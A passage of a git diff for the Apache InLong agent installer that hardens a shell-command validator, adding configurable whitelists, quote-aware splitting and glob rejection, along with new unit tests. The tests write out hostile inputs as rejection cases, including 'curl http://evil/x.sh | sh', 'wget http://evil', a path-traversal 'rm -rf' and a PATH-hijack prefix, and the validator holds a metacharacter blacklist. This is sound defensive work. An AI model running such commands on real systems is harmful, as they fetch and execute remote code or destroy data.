ExecuteLinux.DEFAULT_TIMEOUT_MS); + Assert.assertNotNull(out); + Assert.assertTrue(out.contains("&&")); + } + + @Test + public void pipedCmd_pipeCharInGrepPattern_shouldBeRegexAlternation() { + /* "|" inside pattern acts as regex alternation, not a new pipe segment */ + List segments = Arrays.asList( + new String[]{"printf", "foo\nbar\nbaz\n"}, + new String[]{"grep", "-E", "foo|bar"}); + String out = ExecuteLinux.exePipedCmd(segments, null, ExecuteLinux.DEFAULT_TIMEOUT_MS); + Assert.assertNotNull(out); + Assert.assertTrue(out.contains("foo")); + Assert.assertTrue(out.contains("bar")); + Assert.assertFalse(out.contains("baz")); + } + + /* ---------------- exeCmd(String[]): minimal sanity (non-deprecated) ---------------- */ + + @Test + public void arrayCmd_echo_shouldReturnStdout() { + String out = ExecuteLinux.exeCmd(new String[]{"echo", "hello-world"}); + Assert.assertNotNull(out); + Assert.assertTrue(out.contains("hello-world")); + } + + @Test + public void arrayCmd_emptyArgs_shouldReturnNull() { + Assert.assertNull(ExecuteLinux.exeCmd((String[]) null)); + Assert.assertNull(ExecuteLinux.exeCmd(new String[]{})); + } +} \ No newline at end of file diff --git a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/ModuleManager.java b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/ModuleManager.java index b34c70ca4fd..5ba7df075d6 100755 --- a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/ModuleManager.java +++ b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/ModuleManager.java @@ -610,7 +610,7 @@ private CommandExecResult runValidatedCommand(ModuleConfig module, String cmdNam if (stdout == null) { // Failure/timeout path: ERROR (stderr summary is already logged inside - // ExcuteLinux, truncated). + // ExecuteLinux, truncated). LOGGER.error("FAIL command moduleId={} moduleName={} cmdName={} sub={} costMs={} (stdout=null)", module.getId(), module.getName(), cmdName, describeSub(sub), costMs); if (!sub.isAllowFailure()) { diff --git a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java index a31fc90d1ff..ec0abb9b501 100644 --- a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java +++ b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java @@ -17,6 +17,8 @@ package org.apache.inlong.agent.installer.validator; +import org.apache.inlong.agent.installer.conf.InstallerConfiguration; + import lombok.Getter; import org.apache.commons.lang3.StringUtils; import org.slf4j.Logger; @@ -29,6 +31,7 @@ import java.util.Arrays; import java.util.Collections; import java.util.HashSet; +import java.util.LinkedHashSet; import java.util.List; import java.util.Set; @@ -54,24 +57,68 @@ */ public final class ModuleCommandValidator { - /** First-level command whitelist. */ - public static final Set COMMAND_WHITELIST = buildImmutableSet( + /** + * Built-in baseline for the {@code argv[0]} whitelist. Deployments may extend this via + * {@link #KEY_EXTRA_COMMAND_WHITELIST} without touching code. See ADR-shell-injection-fix. + */ + public static final Set BASELINE_COMMAND_WHITELIST = buildImmutableSet( "cd", "sh", "bash", "ps", "grep", "awk", "kill", "rm", "mkdir", "cp", "mv", "ln", "tar", "unzip", "chmod", "chown", "echo", "cat", "test", "[", "true", "false", "java"); - /** Write-oriented commands whose path arguments must live under an allowed root. */ - public static final Set WRITE_LIKE_COMMANDS = buildImmutableSet( + /** + * Built-in baseline for write-oriented commands whose path arguments must live under an + * allowed root. Extendable via {@link #KEY_EXTRA_WRITE_LIKE_COMMANDS}. + */ + public static final Set BASELINE_WRITE_LIKE_COMMANDS = buildImmutableSet( "rm", "cp", "mv", "mkdir", "ln", "chmod", "chown", "tar", "unzip"); + /** + * @deprecated kept for backward compatibility only; use {@link #getEffectiveCommandWhitelist()} + * when you need the runtime-effective set. This constant remains an alias to + * {@link #BASELINE_COMMAND_WHITELIST}. + */ + @Deprecated + public static final Set COMMAND_WHITELIST = BASELINE_COMMAND_WHITELIST; + + /** + * @deprecated kept for backward compatibility only; use {@link #getEffectiveWriteLikeCommands()} + * when you need the runtime-effective set. This constant remains an alias to + * {@link #BASELINE_WRITE_LIKE_COMMANDS}. + */ + @Deprecated + public static final Set WRITE_LIKE_COMMANDS = BASELINE_WRITE_LIKE_COMMANDS; + + /** Configuration key for extra {@code argv[0]} whitelist entries (comma separated). */ + public static final String KEY_EXTRA_COMMAND_WHITELIST = "installer.command.extraCommandWhitelist"; + /** Configuration key for extra write-like commands that must trigger the allowed-root check. */ + public static final String KEY_EXTRA_WRITE_LIKE_COMMANDS = "installer.command.extraWriteLikeCommands"; + + /** + * Illegal characters in a whitelist entry itself. A whitelist name is meant to be a bare + * command like {@code nohup} or {@code python3}; anything containing whitespace, a path + * separator, or shell metacharacters is rejected up-front so that the config source + * cannot become an injection surface. + */ + private static final char[] ILLEGAL_ENTRY_CHARS = new char[]{ + ' ', '\t', '/', '\\', ';', '|', '&', '>', '<', '$', '`' + }; + private static Set buildImmutableSet(String... items) { Set s = new HashSet<>(items.length * 2); Collections.addAll(s, items); return Collections.unmodifiableSet(s); } - /** Substring blacklist for the metacharacter check. */ + /** + * Substring blacklist for the metacharacter check. Reject anything that a POSIX shell + * would interpret specially and that we cannot faithfully re-implement via + * {@link ProcessBuilder}. In particular {@code *} and {@code ?} are listed here because + * {@link ProcessBuilder} does not perform glob expansion: passing a literal + * {@code *} to {@code rm} usually matches no file and silently deletes nothing, which is + * strictly more dangerous than an outright rejection. + */ private static final String[] META_CHAR_BLACKLIST = new String[]{ - "`", "$(", "${", "&&", "||", ">>", ">", "<", "\\", "\u0000" + "`", "$(", "${", "&&", "||", ">>", ">", "<", "\\", "\u0000", "*", "?" }; public static final String RULE_DISALLOWED_META_CHAR = "DISALLOWED_META_CHAR"; @@ -83,9 +130,55 @@ private static Set buildImmutableSet(String... items) { private static final Logger LOGGER = LoggerFactory.getLogger(ModuleCommandValidator.class); private final AllowedRootsResolver allowedRootsResolver; + private final Set effectiveCommandWhitelist; + private final Set effectiveWriteLikeCommands; + /** Construct a validator that only uses the built-in baseline whitelists. */ public ModuleCommandValidator(AllowedRootsResolver allowedRootsResolver) { + this(allowedRootsResolver, BASELINE_COMMAND_WHITELIST, BASELINE_WRITE_LIKE_COMMANDS); + } + + /** + * Construct a validator whose effective whitelists are the baseline sets extended by + * configuration entries from the given {@link InstallerConfiguration}. + */ + public ModuleCommandValidator(AllowedRootsResolver allowedRootsResolver, InstallerConfiguration conf) { + this(allowedRootsResolver, buildEffective(conf)); + } + + private ModuleCommandValidator(AllowedRootsResolver allowedRootsResolver, Set[] effective) { + this(allowedRootsResolver, effective[0], effective[1]); + } + + /** + * Load {@code (effectiveArgv0Whitelist, effectiveWriteLikeCommands)} once so the config + * source is read exactly once per instance. + */ + @SuppressWarnings("unchecked") + private static Set[] buildEffective(InstallerConfiguration conf) { + Set argv0 = loadEffectiveCommandWhitelist(conf); + Set writeLike = loadEffectiveWriteLikeCommands(conf, argv0); + return new Set[]{argv0, writeLike}; + } + + private ModuleCommandValidator(AllowedRootsResolver allowedRootsResolver, + Set effectiveCommandWhitelist, Set effectiveWriteLikeCommands) { this.allowedRootsResolver = allowedRootsResolver; + this.effectiveCommandWhitelist = Collections.unmodifiableSet(new HashSet<>(effectiveCommandWhitelist)); + this.effectiveWriteLikeCommands = Collections.unmodifiableSet(new HashSet<>(effectiveWriteLikeCommands)); + LOGGER.info("ModuleCommandValidator initialized: argv0Whitelist={}, writeLikeCommands={}", + new java.util.TreeSet<>(this.effectiveCommandWhitelist), + new java.util.TreeSet<>(this.effectiveWriteLikeCommands)); + } + + /** Effective {@code argv[0]} whitelist actually enforced at runtime. */ + public Set getEffectiveCommandWhitelist() { + return effectiveCommandWhitelist; + } + + /** Effective write-like set that triggers the allowed-root check at runtime. */ + public Set getEffectiveWriteLikeCommands() { + return effectiveWriteLikeCommands; } /** Validate a raw command string. */ @@ -98,18 +191,29 @@ public ValidationResult validate(String rawCmd) { // bypass the check by hiding after ';'. String metaHit = firstMetaCharHit(rawCmd); if (metaHit != null) { - return ValidationResult.fail(RULE_DISALLOWED_META_CHAR, rawCmd, - "hit meta char: " + metaHit); + String reason = "hit meta char: " + metaHit; + if ("*".equals(metaHit) || "?".equals(metaHit)) { + reason = reason + " — glob wildcards are not supported (Agent runs commands" + + " without a shell, so '*' and '?' will NOT be expanded);" + + " please specify explicit file paths"; + } + return ValidationResult.fail(RULE_DISALLOWED_META_CHAR, rawCmd, reason); } if (rawCmd.indexOf('\n') >= 0 || rawCmd.indexOf('\r') >= 0) { return ValidationResult.fail(RULE_DISALLOWED_META_CHAR, rawCmd, "hit line-break char"); } - // split by ';' into sub-commands, then by '|' into pipe segments, then - // tokenize each segment into argv. + // Split by ';' into sub-commands, then by '|' into pipe segments, then tokenize each + // segment into argv. Both splitters honour single/double quotes so a ';' or '|' + // inside quotes is preserved as a literal character, matching how a POSIX shell + // parses the command line. List subs = new ArrayList<>(); - String[] segments = rawCmd.split(";"); + List segments = splitTopLevel(rawCmd, ';'); + if (segments == null) { + return ValidationResult.fail(RULE_EMPTY_COMMAND, rawCmd, + "unterminated quote in raw command"); + } for (String seg : segments) { String trimmed = seg == null ? "" : seg.trim(); if (trimmed.isEmpty()) { @@ -149,7 +253,7 @@ private ValidationResult validateSubCmd(ParsedSubCmd sub) { } String cmd = argv[0]; - if (!COMMAND_WHITELIST.contains(cmd)) { + if (!effectiveCommandWhitelist.contains(cmd)) { return ValidationResult.fail(RULE_NOT_IN_WHITELIST, sub.getRawSegment(), "command '" + cmd + "' is not in whitelist"); } @@ -189,7 +293,7 @@ private ValidationResult validateArguments(String[] argv, String rawSegment) { return checkPathUnderRoot(argv[1], rawSegment); } - if (WRITE_LIKE_COMMANDS.contains(cmd)) { + if (effectiveWriteLikeCommands.contains(cmd)) { for (int i = 1; i < argv.length; i++) { String arg = argv[i]; if (arg.startsWith("-") || !looksLikePath(arg)) { @@ -241,23 +345,29 @@ public static String expandTilde(String path) { /** * Remove {@code cd DIR} sub-commands from the execution sequence and turn each of them - * into the {@link ParsedSubCmd#workDir} of the next sub-command. + * into the {@link ParsedSubCmd#workDir} of the sub-commands that follow it. + * + *

Semantics: a {@code cd} affects every subsequent sub-command until the next + * {@code cd} is encountered, matching what a POSIX shell does with a single CWD per + * session. This means the following raw command runs {@code mkdir} and + * {@code tar} both inside {@code /opt/packages}: + * + * 

{@code cd /opt/packages ; mkdir -p inlong-agent ; tar -xzvf pkg.tar.gz -C inlong-agent}
*/ public static List extractCdAndBind(List subs) { List result = new ArrayList<>(subs.size()); - File pendingWorkDir = null; + File currentWorkDir = null; for (ParsedSubCmd sub : subs) { String[] argv = sub.getPipeline().get(0); if (argv.length >= 1 && "cd".equals(argv[0])) { if (argv.length >= 2) { String expanded = expandTilde(argv[1]); - pendingWorkDir = Paths.get(expanded).toAbsolutePath().normalize().toFile(); + currentWorkDir = Paths.get(expanded).toAbsolutePath().normalize().toFile(); } continue; } - if (pendingWorkDir != null) { - sub.setWorkDir(pendingWorkDir); - pendingWorkDir = null; + if (currentWorkDir != null) { + sub.setWorkDir(currentWorkDir); } result.add(sub); } @@ -265,8 +375,12 @@ public static List extractCdAndBind(List subs) { } private static ParsedSubCmd parseSubCmd(String segment) { - String[] pipeSegs = segment.split("\\|"); - List pipeline = new ArrayList<>(pipeSegs.length); + List pipeSegs = splitTopLevel(segment, '|'); + if (pipeSegs == null) { + // unterminated quote within a sub-command; caller treats null as empty/invalid. + return null; + } + List pipeline = new ArrayList<>(pipeSegs.size()); for (String pipeSeg : pipeSegs) { String trimmed = pipeSeg == null ? "" : pipeSeg.trim(); if (trimmed.isEmpty()) { @@ -282,6 +396,51 @@ private static ParsedSubCmd parseSubCmd(String segment) { return new ParsedSubCmd(pipeline, segment, piped); } + /** + * Quote-aware split of {@code raw} on the top-level {@code delim} character. Characters + * inside a single-quoted or double-quoted region are treated as literals and do not + * split the string. Returns {@code null} when the input has an unterminated quote so + * that the caller can surface a validation error rather than silently mis-parse. + * + *

Unlike {@link String#split(String)}, an empty leading, middle or trailing region is + * preserved in the result so that callers can decide how to handle it. + */ + static List splitTopLevel(String raw, char delim) { + List out = new ArrayList<>(); + if (raw == null) { + out.add(""); + return out; + } + StringBuilder cur = new StringBuilder(); + char quote = 0; + for (int i = 0; i < raw.length(); i++) { + char c = raw.charAt(i); + if (quote != 0) { + cur.append(c); + if (c == quote) { + quote = 0; + } + continue; + } + if (c == '\'' || c == '"') { + quote = c; + cur.append(c); + continue; + } + if (c == delim) { + out.add(cur.toString()); + cur.setLength(0); + continue; + } + cur.append(c); + } + if (quote != 0) { + return null; + } + out.add(cur.toString()); + return out; + } + /** * Whitespace-based tokenizer that honours single/double quotes so that quoted spaces are * preserved. The metacharacter layer has already rejected backticks, {@code $(} and @@ -347,6 +506,71 @@ private static boolean looksLikePath(String arg) { || arg.contains("/"); } + /** Split a comma-separated config value; blank items are dropped. Illegal entries are dropped with a WARN. */ + static List parseConfigList(String key, String raw) { + List out = new ArrayList<>(); + if (StringUtils.isBlank(raw)) { + return out; + } + for (String item : raw.split(",")) { + String trimmed = item == null ? "" : item.trim(); + if (trimmed.isEmpty()) { + continue; + } + String reason = firstIllegalReason(trimmed); + if (reason != null) { + LOGGER.warn("ModuleCommandValidator: dropping illegal config entry from {}: '{}' ({})", + key, trimmed, reason); + continue; + } + out.add(trimmed); + } + return out; + } + + private static String firstIllegalReason(String entry) { + for (char c : ILLEGAL_ENTRY_CHARS) { + if (entry.indexOf(c) >= 0) { + return "contains forbidden char '" + c + "'"; + } + } + for (int i = 0; i < entry.length(); i++) { + char c = entry.charAt(i); + if (Character.isWhitespace(c)) { + return "contains whitespace"; + } + } + return null; + } + + private static Set loadEffectiveCommandWhitelist(InstallerConfiguration conf) { + Set merged = new LinkedHashSet<>(BASELINE_COMMAND_WHITELIST); + if (conf != null) { + for (String extra : parseConfigList(KEY_EXTRA_COMMAND_WHITELIST, + conf.get(KEY_EXTRA_COMMAND_WHITELIST, ""))) { + merged.add(extra); + } + } + return merged; + } + + private static Set loadEffectiveWriteLikeCommands(InstallerConfiguration conf, + Set effectiveCommandWhitelist) { + Set merged = new LinkedHashSet<>(BASELINE_WRITE_LIKE_COMMANDS); + if (conf != null) { + for (String extra : parseConfigList(KEY_EXTRA_WRITE_LIKE_COMMANDS, + conf.get(KEY_EXTRA_WRITE_LIKE_COMMANDS, ""))) { + merged.add(extra); + if (!effectiveCommandWhitelist.contains(extra)) { + LOGGER.warn("ModuleCommandValidator: '{}' is listed in {} but not in the effective argv[0] " + + "whitelist; the write-like path check will not fire for it.", + extra, KEY_EXTRA_WRITE_LIKE_COMMANDS); + } + } + } + return merged; + } + /** * A single sub-command produced by splitting the raw command on {@code ;}. It may contain * multiple pipe segments produced by splitting on {@code |}. diff --git a/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java b/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java index 3a7cc67f0ee..c24c3707c4e 100644 --- a/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java +++ b/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java @@ -17,11 +17,13 @@ package installer; +import org.apache.inlong.agent.installer.conf.InstallerConfiguration; import org.apache.inlong.agent.installer.validator.AllowedRootsResolver; import org.apache.inlong.agent.installer.validator.ModuleCommandValidator; import org.apache.inlong.agent.installer.validator.ModuleCommandValidator.ParsedSubCmd; import org.apache.inlong.agent.installer.validator.ModuleCommandValidator.ValidationResult; +import org.junit.After; import org.junit.Assert; import org.junit.Before; import org.junit.Test; @@ -29,12 +31,9 @@ import java.nio.file.Path; import java.nio.file.Paths; import java.util.List; +import java.util.Set; -/** - * Unit tests for {@link ModuleCommandValidator}, covering the core legal / illegal cases - * against the command shapes issued by Manager, plus edge cases such as path traversal, - * {@code sh -c} bypass and configurable extra allowed roots. - */ +/* Unit tests for {@link ModuleCommandValidator}. */ public class ModuleCommandValidatorTest { private ModuleCommandValidator validator; @@ -42,7 +41,7 @@ public class ModuleCommandValidatorTest { @Before public void setUp() { - // Roots that match the commands issued by Manager. + /* Roots matching commands from Manager */ String userHome = System.getProperty("user.home"); Path inlongRoot = Paths.get(userHome, "inlong"); Path tmpRoot = Paths.get(System.getProperty("java.io.tmpdir")); @@ -87,7 +86,7 @@ public void legal_installCommand_multiSubShouldPass() { ValidationResult r = validator.validate(cmd); Assert.assertTrue("expected ok, got " + r, r.isOk()); List parsed = r.getParsed(); - // 'cd' has been absorbed as workDir, leaving four sub-commands: sh / rm / mkdir / cp. + /* cd absorbed as workDir, leaving 4 sub-commands: sh / rm / mkdir / cp */ Assert.assertEquals(4, parsed.size()); Assert.assertEquals("sh", parsed.get(0).getArgv()[0]); Assert.assertEquals("rm", parsed.get(1).getArgv()[0]); @@ -96,9 +95,49 @@ public void legal_installCommand_multiSubShouldPass() { Assert.assertNotNull(parsed.get(0).getWorkDir()); } + /* cd applies to all subsequent subs until next cd (POSIX shell semantics) */ + @Test + public void cd_shouldApplyToAllFollowingSubsUntilNextCd() { + /* use tmp root from setUp() so path policy doesn't reject cd on macOS (/tmp symlink) */ + String tmp = Paths.get(System.getProperty("java.io.tmpdir")).toAbsolutePath().normalize().toString(); + String cmd = "cd " + tmp + ";mkdir " + tmp + "/e2e-cd-scope" + + ";tar -xzvf " + tmp + "/dummy.tar.gz -C " + tmp + "/e2e-cd-scope"; + ValidationResult r = validator.validate(cmd); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + List parsed = r.getParsed(); + Assert.assertEquals(2, parsed.size()); + Assert.assertEquals("mkdir", parsed.get(0).getArgv()[0]); + Assert.assertEquals("tar", parsed.get(1).getArgv()[0]); + Assert.assertNotNull("mkdir must inherit cd's workDir", parsed.get(0).getWorkDir()); + Assert.assertNotNull("tar must ALSO inherit cd's workDir (shell semantics)", + parsed.get(1).getWorkDir()); + /* both must point to the same target, proving cd persists */ + Assert.assertEquals(parsed.get(0).getWorkDir(), parsed.get(1).getWorkDir()); + Assert.assertEquals(tmp, parsed.get(0).getWorkDir().toString()); + } + + /* later cd overrides earlier cd's workDir */ + @Test + public void cd_shouldBeOverriddenByNextCd() { + String userHome = System.getProperty("user.home"); + String tmp = Paths.get(System.getProperty("java.io.tmpdir")).toAbsolutePath().normalize().toString(); + String cmd = "cd " + userHome + "/inlong;mkdir " + userHome + "/inlong/a" + + ";cd " + tmp + ";mkdir " + tmp + "/b"; + ValidationResult r = validator.validate(cmd); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + List parsed = r.getParsed(); + Assert.assertEquals(2, parsed.size()); + Assert.assertEquals("mkdir", parsed.get(0).getArgv()[0]); + Assert.assertEquals("mkdir", parsed.get(1).getArgv()[0]); + /* 1st mkdir under ~/inlong ; 2nd under tmp */ + Assert.assertTrue(parsed.get(0).getWorkDir().toString().endsWith("inlong")); + Assert.assertEquals(tmp, parsed.get(1).getWorkDir().toString()); + Assert.assertNotEquals(parsed.get(0).getWorkDir(), parsed.get(1).getWorkDir()); + } + @Test public void illegal_curlPipe_shouldRejectByMetaChar() { - // "&&" hits the metacharacter blacklist. + /* "&&" hits metacharacter blacklist */ ValidationResult r = validator.validate( "cd ~/inlong/inlong-agent/bin;sh agent.sh start && curl http://evil/x.sh | sh"); assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); @@ -117,6 +156,108 @@ public void illegal_dollarParen_shouldRejectByMetaChar() { assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); } + /* P0: glob wildcards * and ? are rejected */ + + @Test + public void illegal_starWildcard_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("rm -rf ~/inlong/tmp/*.log"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + Assert.assertTrue("reject message must mention the offending meta char '*', got: " + r.getMessage(), + r.getMessage().contains("*")); + } + + @Test + public void illegal_questionMarkWildcard_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("rm -rf ~/inlong/tmp/log?.txt"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + Assert.assertTrue("reject message must mention the offending meta char '?', got: " + r.getMessage(), + r.getMessage().contains("?")); + } + + @Test + public void illegal_starInMiddleOfPath_shouldRejectByMetaChar() { + /* glob buried inside path must still be rejected, else rm -rf ~/inlong/*\/logs no-ops */ + ValidationResult r = validator.validate("rm -rf ~/inlong/*/logs"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + /* P1: quote-aware split-by-';' and split-by-'|' */ + + @Test + public void semicolonInsideDoubleQuotes_shouldNotSplit() { + ValidationResult r = validator.validate("echo \"hello;world\""); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + List parsed = r.getParsed(); + Assert.assertEquals("';' inside double quotes must not split", 1, parsed.size()); + Assert.assertArrayEquals(new String[]{"echo", "hello;world"}, parsed.get(0).getArgv()); + } + + @Test + public void semicolonInsideSingleQuotes_shouldNotSplit() { + ValidationResult r = validator.validate("echo 'hello;world'"); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + List parsed = r.getParsed(); + Assert.assertEquals(1, parsed.size()); + Assert.assertArrayEquals(new String[]{"echo", "hello;world"}, parsed.get(0).getArgv()); + } + + @Test + public void pipeInsideDoubleQuotes_shouldNotSplitPipeline() { + /* grep with regex alternation: "ERR|WARN" must not be parsed as pipeline */ + ValidationResult r = validator.validate("grep \"ERR|WARN\" ~/inlong/app.log"); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + List parsed = r.getParsed(); + Assert.assertEquals(1, parsed.size()); + Assert.assertFalse("must NOT be parsed as a pipeline", parsed.get(0).isPiped()); + /* tokenizer preserves literal argv; tilde expansion deferred to path-policy check */ + Assert.assertArrayEquals(new String[]{"grep", "ERR|WARN", "~/inlong/app.log"}, + parsed.get(0).getArgv()); + } + + @Test + public void pipeInsideSingleQuotes_shouldNotSplitPipeline() { + ValidationResult r = validator.validate("grep 'foo|bar' ~/inlong/app.log"); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + List parsed = r.getParsed(); + Assert.assertEquals(1, parsed.size()); + Assert.assertFalse(parsed.get(0).isPiped()); + Assert.assertArrayEquals(new String[]{"grep", "foo|bar", "~/inlong/app.log"}, + parsed.get(0).getArgv()); + } + + @Test + public void mixedQuotedAndUnquotedSemicolons_shouldSplitOnlyTopLevel() { + /* first ";" is real boundary, second ";" is inside quoted argv */ + ValidationResult r = validator.validate("echo one; echo \"two;three\""); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + List parsed = r.getParsed(); + Assert.assertEquals(2, parsed.size()); + Assert.assertArrayEquals(new String[]{"echo", "one"}, parsed.get(0).getArgv()); + Assert.assertArrayEquals(new String[]{"echo", "two;three"}, parsed.get(1).getArgv()); + } + + @Test + public void mixedQuotedAndUnquotedPipes_shouldSplitOnlyTopLevel() { + /* top-level "|" builds 2-stage pipeline; quoted "|" stays literal */ + ValidationResult r = validator.validate("echo hello | grep \"h|i\""); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + List parsed = r.getParsed(); + Assert.assertEquals(1, parsed.size()); + ParsedSubCmd sub = parsed.get(0); + Assert.assertTrue("must be piped", sub.isPiped()); + List pipeline = sub.getPipeline(); + Assert.assertEquals("exactly two pipe stages", 2, pipeline.size()); + Assert.assertArrayEquals(new String[]{"echo", "hello"}, pipeline.get(0)); + Assert.assertArrayEquals(new String[]{"grep", "h|i"}, pipeline.get(1)); + } + + @Test + public void unterminatedQuote_shouldReject() { + /* unterminated quote must fail validation rather than silently mis-parse */ + ValidationResult r = validator.validate("echo \"hello"); + assertRejected(r, ModuleCommandValidator.RULE_EMPTY_COMMAND); + } + @Test public void illegal_wget_shouldRejectByWhitelist() { ValidationResult r = validator.validate("sh agent.sh start; wget http://evil"); @@ -125,16 +266,14 @@ public void illegal_wget_shouldRejectByWhitelist() { @Test public void illegal_pathTraversal_shouldRejectByPath() { - // "~/inlong/../../../etc" expands to $HOME/inlong/../../../etc and normalizes to - // /etc, which is outside every allowed root. + /* ~/inlong/../../../etc normalizes to /etc, outside all allowed roots */ ValidationResult r = validator.validate("rm -rf ~/inlong/../../../etc"); assertRejected(r, ModuleCommandValidator.RULE_PATH_NOT_UNDER_ALLOWED_ROOT); } @Test public void illegal_shDashC_shouldRejectByForbiddenFlag() { - // Use a payload without $( or && so that the metacharacter check does not fire before - // the -c check. + /* avoid $( or && in payload so metacharacter check fires after -c check */ ValidationResult r = validator.validate("sh -c echo hello"); assertRejected(r, ModuleCommandValidator.RULE_FORBIDDEN_SH_C_FLAG); } @@ -147,11 +286,11 @@ public void bashDashC_shouldAlsoBeRejected() { @Test public void extraAllowedRoots_shouldPermitCustomRoot() { - // Without /opt/inlong in the roots, "rm -rf /opt/inlong/tmp" must be rejected. + /* without /opt/inlong: reject */ ValidationResult r1 = validator.validate("rm -rf /opt/inlong/tmp"); assertRejected(r1, ModuleCommandValidator.RULE_PATH_NOT_UNDER_ALLOWED_ROOT); - // After adding /opt/inlong to the roots, the same command must be accepted. + /* after adding /opt/inlong: accept */ AllowedRootsResolver extended = AllowedRootsResolver.ofPaths( Paths.get(System.getProperty("user.home"), "inlong"), Paths.get(System.getProperty("java.io.tmpdir")), @@ -163,8 +302,7 @@ public void extraAllowedRoots_shouldPermitCustomRoot() { @Test public void chmodNumericMode_shouldNotBeTreatedAsPath() { - // "755" contains no slash and is not treated as a path; the ~/inlong/... argument is - // a path and lives under an allowed root, so the whole command must pass. + /* "755" has no slash, not treated as path; ~/inlong/... is under allowed root */ ValidationResult r = validator.validate("chmod 755 ~/inlong/inlong-agent/bin/agent.sh"); Assert.assertTrue("expected ok, got " + r, r.isOk()); } @@ -217,29 +355,28 @@ public void newline_shouldRejectByMetaChar() { assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); } - // Sample 6: here-string "<<<". "<" is on the metacharacter blacklist. + /* here-string "<<<": "<" on metacharacter blacklist */ @Test public void hereString_shouldRejectByMetaChar() { ValidationResult r = validator.validate("grep foo <<< payload"); assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); } - // Sample 7: process substitution "<(...)". "<" is on the metacharacter blacklist. + /* process substitution "<(...)": "<" on metacharacter blacklist */ @Test public void processSubstitution_shouldRejectByMetaChar() { ValidationResult r = validator.validate("grep foo <(cat ~/inlong/x)"); assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); } - // Sample 5: variable-assignment prefix such as "PATH=/tmp/evil ls". The token - // "PATH=/tmp/evil" is not a whitelisted argv[0]. + /* variable-assignment prefix: "PATH=/tmp/evil" not on whitelist */ @Test public void varAssignPrefix_shouldRejectByWhitelist() { ValidationResult r = validator.validate("PATH=/tmp/evil ls"); assertRejected(r, ModuleCommandValidator.RULE_NOT_IN_WHITELIST); } - // Sample: append redirection ">>" hits the metacharacter blacklist. + /* append redirect ">>" on metacharacter blacklist */ @Test public void appendRedirect_shouldRejectByMetaChar() { ValidationResult r = validator.validate("echo hi >> ~/inlong/log"); @@ -252,10 +389,102 @@ public void expandTilde_shouldReplaceHomePrefixOnly() { Assert.assertEquals(home, ModuleCommandValidator.expandTilde("~")); Assert.assertEquals(home + "/foo", ModuleCommandValidator.expandTilde("~/foo")); Assert.assertEquals("/abs/path", ModuleCommandValidator.expandTilde("/abs/path")); - // Do not replace non-prefix tildes. + /* only replace prefix tildes, not embedded ones */ Assert.assertEquals("a~b", ModuleCommandValidator.expandTilde("a~b")); } + /* Configurable whitelist tests */ + + /* Reset config keys set during test so others see shipped defaults. */ + @After + public void clearConfigOverrides() { + InstallerConfiguration conf = InstallerConfiguration.getInstallerConf(); + conf.set(ModuleCommandValidator.KEY_EXTRA_COMMAND_WHITELIST, ""); + conf.set(ModuleCommandValidator.KEY_EXTRA_WRITE_LIKE_COMMANDS, ""); + } + + private ModuleCommandValidator newValidatorFromConf() { + return new ModuleCommandValidator(defaultRoots, InstallerConfiguration.getInstallerConf()); + } + + @Test + public void configExtraCommandWhitelist_shouldAllowCustomArgv0() { + // 'nohup' is not in baseline; without configuration, it is rejected. + ValidationResult before = validator.validate("nohup java -jar ~/inlong/x.jar"); + assertRejected(before, ModuleCommandValidator.RULE_NOT_IN_WHITELIST); + + // With extraCommandWhitelist=nohup it must pass. + InstallerConfiguration.getInstallerConf() + .set(ModuleCommandValidator.KEY_EXTRA_COMMAND_WHITELIST, "nohup"); + ModuleCommandValidator v = newValidatorFromConf(); + ValidationResult after = v.validate("nohup java -jar ~/inlong/x.jar"); + Assert.assertTrue("expected ok after adding nohup, got " + after, after.isOk()); + } + + @Test + public void configIllegalEntry_shouldBeSkippedButOthersKept() { + // 'my;cmd' contains ';' and must be dropped; 'python3' is legal and must survive. + InstallerConfiguration.getInstallerConf() + .set(ModuleCommandValidator.KEY_EXTRA_COMMAND_WHITELIST, "my;cmd,python3, echo bad ,ok_name"); + ModuleCommandValidator v = newValidatorFromConf(); + Set effective = v.getEffectiveCommandWhitelist(); + Assert.assertFalse("entries containing ';' must be dropped", effective.contains("my;cmd")); + Assert.assertFalse("entries containing whitespace must be dropped", effective.contains("echo bad")); + Assert.assertTrue("well-formed 'python3' must be kept", effective.contains("python3")); + Assert.assertTrue("well-formed 'ok_name' must be kept", effective.contains("ok_name")); + } + + @Test + public void configExtraWriteLikeCommand_shouldTriggerPathRootCheck() { + // Make 'dd' both an allowed argv[0] and a write-like command; a path outside allowed + // roots must now be rejected via PATH_NOT_UNDER_ALLOWED_ROOT rather than sneak past. + InstallerConfiguration conf = 